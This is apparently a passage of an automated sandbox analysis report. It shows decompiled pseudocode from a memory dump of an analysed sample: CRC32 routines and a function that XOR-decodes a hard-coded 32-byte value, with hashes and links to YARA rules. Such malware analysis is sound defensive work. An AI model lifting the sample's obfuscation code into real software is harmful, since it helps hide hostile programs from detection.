0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x18) * 4) ^  *(0x41beb0 + (_t205 & 0x000000ff) * 4) ^  *(_t181 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x18) * 4) ^  *(0x41beb0 + (_t205 & 0x000000ff) * 4) ^  *(_t181 - 8)) >> 0x18) * 4) ^  *(0x41beb0 + (_t110 & 0x000000ff) * 4) ^  *(_t181 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t214 >> 0x18) * 4) ^  *(0x41beb0 + (_t214 & 0x000000ff) * 4) ^  *(_t182 - 4);
						_t175 = _t182 + 4;
						_t239 = _t239 - 0x20;
						_t87 =  *(0x41b6b0 + (( *(0x41b6b0 + (_t119 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (_t119 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t119 >> 0x18) * 4) ^  *(0x41beb0 + (_t119 & 0x000000ff) * 4) ^  *(_t175 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (_t119 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (_t119 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t119 >> 0x18) * 4) ^  *(0x41beb0 + (_t119 & 0x000000ff) * 4) ^  *(_t175 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (( *(0x41b6b0 + (_t119 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (_t119 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t119 >> 0x18) * 4) ^  *(0x41beb0 + (_t119 & 0x000000ff) * 4) ^  *(_t175 - 4)) >> 0x18) * 4) ^  *(0x41beb0 + (_t223 & 0x000000ff) * 4);
						_t238 = _t238 - 1;
					} while (_t238 != 0);
				}
				if(_t239 >= 4) {
					_t188 = _t239 >> 2;
					do {
						_t90 = _t87 ^  *_t175;
						_t175 = _t175 + 4;
						_t239 = _t239 - 4;
						_t188 = _t188 - 1;
						_t87 =  *(0x41b6b0 + (_t90 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (_t90 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t90 >> 0x18) * 4) ^  *(0x41beb0 + (_t90 & 0x000000ff) * 4);
					} while (_t188 != 0);
				}
				if(_t239 != 0) {
					do {
						_t87 = _t87 >> 0x00000008 ^  *(0x41b2b0 + (( *_t175 & 0x000000ff ^ _t87) & 0x000000ff) * 4);
						_t175 = _t175 + 1;
						_t239 = _t239 - 1;
					} while (_t239 != 0);
				}
				return  !_t87;
			}














                                        0x004028b0
                                        0x004028b1
                                        0x004028b3
                                        0x004028b7
                                        0x004028c0
                                        0x004028d3
                                        0x004028da
                                        0x004028db
                                        0x004028de
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x004028de
                                        0x004028c0
                                        0x004028e0
                                        0x004028e5
                                        0x004028ed
                                        0x004028f0
                                        0x004028f0
                                        0x00402931
                                        0x00402934
                                        0x00402976
                                        0x00402979
                                        0x004029bb
                                        0x00402a3c
                                        0x00402a7b
                                        0x00402a7e
                                        0x00402a81
                                        0x00402ac0
                                        0x00402afb
                                        0x00402b02
                                        0x00402b02
                                        0x004028f0
                                        0x00402b0e
                                        0x00402b12
                                        0x00402b15
                                        0x00402b15
                                        0x00402b17
                                        0x00402b56
                                        0x00402b59
                                        0x00402b5c
                                        0x00402b5c
                                        0x00402b15
                                        0x00402b64
                                        0x00402b70
                                        0x00402b7e
                                        0x00402b85
                                        0x00402b86
                                        0x00402b86
                                        0x00402b70
                                        0x00402b8e

                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 56d4400f77c04dc4446d24fbb084ed78fa0beaad766ef6ff58d44a670f1be69a
                                        • Instruction ID: e93c334361593eb17f37b37ed9e80cdb2c00b1b1e1af3e0e9a736190e966ddef
                                        • Opcode Fuzzy Hash: 56d4400f77c04dc4446d24fbb084ed78fa0beaad766ef6ff58d44a670f1be69a
                                        • Instruction Fuzzy Hash: 4A615E3266055747E391DF6DEEC47663762EBC9351F18C630CA008B6A6CB39B92297CC
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 02082B00, Relevance: .2, Instructions: 184COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 56d4400f77c04dc4446d24fbb084ed78fa0beaad766ef6ff58d44a670f1be69a
                                        • Instruction ID: 386fd9d5daff7d9ecbbc4e13c2c0f6d1cab2bf5c35d1128bd52a1f51db9167ac
                                        • Opcode Fuzzy Hash: 56d4400f77c04dc4446d24fbb084ed78fa0beaad766ef6ff58d44a670f1be69a
                                        • Instruction Fuzzy Hash: 2D6150326616574BE391DF6CEDC476637A3EB89312F18C670CE0087666CB39A52297CC
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 00401650, Relevance: .1, Instructions: 111COMMONCrypto
                                        Download Yara Rule
                                        C-Code - Quality: 100%
                                        			E00401650(signed char* _a4, intOrPtr _a8) {
				char _v4;
				signed char _v5;
				signed char _v6;
				signed char _v7;
				signed char _v8;
				signed char _v9;
				signed char _v10;
				signed char _v11;
				signed char _v12;
				signed char _v13;
				signed char _v14;
				signed char _v15;
				signed char _v16;
				signed char _v17;
				signed char _v18;
				signed char _v19;
				signed char _v20;
				signed char _v21;
				signed char _v22;
				signed char _v23;
				signed char _v24;
				signed char _v25;
				signed char _v26;
				signed char _v27;
				signed char _v28;
				signed char _v29;
				signed char _v30;
				signed char _v31;
				signed char _v32;
				signed char _v33;
				signed char _v34;
				signed char _v35;
				signed char _v36;
				void* __esi;
				signed char* _t68;
				intOrPtr _t72;
				void* _t137;
				intOrPtr _t138;

				_t68 = _a4;
				_v36 =  *_t68 & 0x000000ff ^ 0x000000a3;
				_v35 = _t68[1] & 0x000000ff ^ 0x00000054;
				_v34 =  !(_t68[2] & 0x000000ff);
				_v33 = _t68[3] & 0x000000ff ^ 0x00000075;
				_v32 = _t68[4] & 0x000000ff ^ 0x000000e7;
				_v31 = _t68[5] & 0x000000ff ^ 0x00000044;
				_v30 = _t68[6] & 0x000000ff ^ 0x0000004b;
				_v29 = _t68[7] & 0x000000ff ^ 0x00000023;
				_v28 = _t68[8] & 0x000000ff ^ 0x000000bf;
				_v27 = _t68[9] & 0x000000ff ^ 0x00000045;
				_v26 = _t68[0xa] & 0x000000ff ^ 0x0000003b;
				_v25 = _t68[0xb] & 0x000000ff ^ 0x00000056;
				_v24 = _t68[0xc] & 0x000000ff ^ 0x000000f8;
				_v23 = _t68[0xd] & 0x000000ff ^ 0x00000098;
				_v22 = _t68[0xe] & 0x000000ff ^ 0x0000005b;
				_v21 = _t68[0xf] & 0x000000ff ^ 0x000000f4;
				_v20 = _t68[0x10] & 0x000000ff ^ 0x000000b5;
				_v19 = _t68[0x11] & 0x000000ff ^ 0x00000087;
				_v18 = _t68[0x12] & 0x000000ff ^ 0x0000007b;
				_v17 = _t68[0x13] & 0x000000ff ^ 0x0000000f;
				_v16 = _t68[0x14] & 0x000000ff ^ 0x000000f4;
				_v15 = _t68[0x15] & 0x000000ff ^ 0x00000076;
				_v14 = _t68[0x16] & 0x000000ff ^ 0x000000b9;
				_v13 = _t68[0x17] & 0x000000ff ^ 0x00000034;
				_v12 = _t68[0x18] & 0x000000ff ^ 0x000000bf;
				_v11 = _t68[0x19] & 0x000000ff ^ 0x0000001e;
				_t138 = _a8;
				_v10 = _t68[0x1a] & 0x000000ff ^ 0x000000e7;
				_v9 = _t68[0x1b] & 0x000000ff ^ 0x00000078;
				_v8 = _t68[0x1c] & 0x000000ff ^ 0x00000098;
				_v7 = _t68[0x1d] & 0x000000ff ^ 0x000000e9;
				_v6 = _t68[0x1e] & 0x000000ff ^ 0x0000006f;
				_v5 = _t68[0x1f] & 0x000000ff ^ 0x000000b4;
				_v4 = 0;
				E0040B350(_t72, _t137, _t138, _t138,  &_v36, 0x20);
				return _t138;
			}









































                                        0x00401654
                                        0x00401665
                                        0x0040166d
                                        0x0040167a
                                        0x00401682
                                        0x00401690
                                        0x00401698
                                        0x004016a6
                                        0x004016ae
                                        0x004016bc
                                        0x004016c4
                                        0x004016d2
                                        0x004016da
                                        0x004016e8
                                        0x004016f0
                                        0x004016fe
                                        0x00401706
                                        0x00401714
                                        0x0040171c
                                        0x0040172a
                                        0x00401732
                                        0x00401740
                                        0x00401748
                                        0x00401756
                                        0x0040175e
                                        0x0040176c
                                        0x00401774
                                        0x0040177c
                                        0x00401786
                                        0x0040178e
                                        0x0040179c
                                        0x004017a4
                                        0x004017ba
                                        0x004017be
                                        0x004017c2
                                        0x004017c7
                                        0x004017d5

                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: f84f8abda09efbfc4fc50908dec446613bf2f52d635c093d4d9c5e236f650133
                                        • Instruction ID: 39afabd8a370e1aacf823bb5b0eb141e0e266d105c364ee31248ba7b153c19f0
                                        • Opcode Fuzzy Hash: f84f8abda09efbfc4fc50908dec446613bf2f52d635c093d4d9c5e236f650133
                                        • Instruction Fuzzy Hash: 2851F94400D7E18EC716873A44E0AA7BFD10FAB115F4E9ACDA5E90B2E3C159C288DB77
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 020818A0, Relevance: .1, Instructions: 111COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: f84f8abda09efbfc4fc50908dec446613bf2f52d635c093d4d9c5e236f650133
                                        • Instruction ID: fb527ca19bde57df452af858117d459d128a5f962a071a0875ca8af0b04a954c
                                        • Opcode Fuzzy Hash: f84f8abda09efbfc4fc50908dec446613bf2f52d635c093d4d9c5e236f650133
                                        • Instruction Fuzzy Hash: 4851E94400D7E18EC716873A54E0AA7BFD10FAB115F4E9ACDA5E90B2E3C159C288DB77
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 00402F20, Relevance: .1, Instructions: 103COMMONCrypto
                                        Download Yara Rule
                                        C-Code - Quality: 100%
                                        			E00402F20(signed int _a4, signed int _a8, signed int _a12) {
				char _v128;
				char _v256;
				void* __ebx;
				signed int _t37;
				signed int _t42;
				signed int _t43;
				signed int _t48;
				signed int _t49;
				signed int _t52;
				signed int _t53;
				signed int _t54;
				signed int* _t55;
				signed int* _t56;
				signed int* _t57;
				signed int* _t58;
				signed int _t59;
				signed int _t60;
				void* _t62;
				void* _t64;
				signed int _t66;
				signed int _t68;
				void* _t69;

				_t69 =  &_v256;
				if(_a12 != 0) {
					_t52 = 1;
					_v256 = 0xedb88320;
					_t37 = 1;
					do {
						 *(_t69 + _t37 * 4) = _t52;
						_t37 = _t37 + 1;
						_t52 = _t52 + _t52;
						__eflags = _t37 - 0x20;
					} while (_t37 < 0x20);
					E00402EE0( &_v128,  &_v256);
					E00402EE0( &_v256,  &_v128);
					_t42 = _a4;
					do {
						_t62 = 0;
						do {
							_t53 =  *(_t69 + _t62 + 0xc);
							_t66 = 0;
							_t57 =  &_v256;
							__eflags = _t53;
							while(_t53 != 0) {
								__eflags = _t53 & 0x00000001;
								if((_t53 & 0x00000001) != 0) {
									_t66 = _t66 ^  *_t57;
									__eflags = _t66;
								}
								_t53 = _t53 >> 1;
								_t57 =  &(_t57[1]);
								__eflags = _t53;
							}
							 *(_t69 + _t62 + 0x8c) = _t66;
							_t62 = _t62 + 4;
							__eflags = _t62 - 0x80;
						} while (_t62 < 0x80);
						_t48 = _a12;
						__eflags = _t48 & 0x00000001;
						if(__eflags != 0) {
							_t60 = 0;
							_t56 =  &_v128;
							__eflags = _t42;
							while(__eflags != 0) {
								__eflags = _t42 & 0x00000001;
								if((_t42 & 0x00000001) != 0) {
									_t60 = _t60 ^  *_t56;
									__eflags = _t60;
								}
								_t42 = _t42 >> 1;
								_t56 =  &(_t56[1]);
								__eflags = _t42;
							}
							_t42 = _t60;
						}
						_t49 = _t48 >> 1;
						if(__eflags != 0) {
							_t64 = 0;
							do {
								_t54 =  *(_t69 + _t64 + 0x8c);
								_t68 = 0;
								_t58 =  &_v128;
								__eflags = _t54;
								while(_t54 != 0) {
									__eflags = _t54 & 0x00000001;
									if((_t54 & 0x00000001) != 0) {
										_t68 = _t68 ^  *_t58;
										__eflags = _t68;
									}
									_t54 = _t54 >> 1;
									_t58 =  &(_t58[1]);
									__eflags = _t54;
								}
								 *(_t69 + _t64 + 0xc) = _t68;
								_t64 = _t64 + 4;
								__eflags = _t64 - 0x80;
							} while (_t64 < 0x80);
							__eflags = _t49 & 0x00000001;
							if(__eflags != 0) {
								_t59 = 0;
								_t55 =  &_v256;
								__eflags = _t42;
								while(__eflags != 0) {
									__eflags = _t42 & 0x00000001;
									if((_t42 & 0x00000001) != 0) {
										_t59 = _t59 ^  *_t55;
										__eflags = _t59;
									}
									_t42 = _t42 >> 1;
									_t55 =  &(_t55[1]);
									__eflags = _t42;
								}
								_t42 = _t59;
							}
							goto L32;
						}
						break;
						L32:
						_a12 = _t49 >> 1;
					} while (__eflags != 0);
					_t43 = _t42 ^ _a8;
					__eflags = _t43;
					return _t43;
				} else {
					return _a4;
				}
			}

























                                        0x00402f20
                                        0x00402f2e
                                        0x00402f3e
                                        0x00402f43
                                        0x00402f4a
                                        0x00402f50
                                        0x00402f50
                                        0x00402f53
                                        0x00402f54
                                        0x00402f56
                                        0x00402f56
                                        0x00402f69
                                        0x00402f79
                                        0x00402f7e
                                        0x00402f85
                                        0x00402f85
                                        0x00402f90
                                        0x00402f90
                                        0x00402f94
                                        0x00402f96
                                        0x00402f9a
                                        0x00402f9c
                                        0x00402fa0
                                        0x00402fa3
                                        0x00402fa5
                                        0x00402fa5
                                        0x00402fa5
                                        0x00402fa7
                                        0x00402fa9
                                        0x00402fac
                                        0x00402fac
                                        0x00402fb0
                                        0x00402fb7
                                        0x00402fba
                                        0x00402fba
                                        0x00402fc2
                                        0x00402fc9
                                        0x00402fcc
                                        0x00402fce
                                        0x00402fd0
                                        0x00402fd7
                                        0x00402fd9
                                        0x00402fe0
                                        0x00402fe2
                                        0x00402fe4
                                        0x00402fe4
                                        0x00402fe4
                                        0x00402fe6
                                        0x00402fe8
                                        0x00402feb
                                        0x00402feb
                                        0x00402fef
                                        0x00402fef
                                        0x00402ff1
                                        0x00402ff3
                                        0x00402ff5
                                        0x00403000
                                        0x00403000
                                        0x00403007
                                        0x00403009
                                        0x00403010
                                        0x00403012
                                        0x00403014
                                        0x00403017
                                        0x00403019
                                        0x00403019
                                        0x00403019
                                        0x0040301b
                                        0x0040301d
                                        0x00403020
                                        0x00403020
                                        0x00403024
                                        0x00403028
                                        0x0040302b
                                        0x0040302b
                                        0x00403033
                                        0x00403036
                                        0x00403038
                                        0x0040303a
                                        0x0040303e
                                        0x00403040
                                        0x00403042
                                        0x00403044
                                        0x00403046
                                        0x00403046
                                        0x00403046
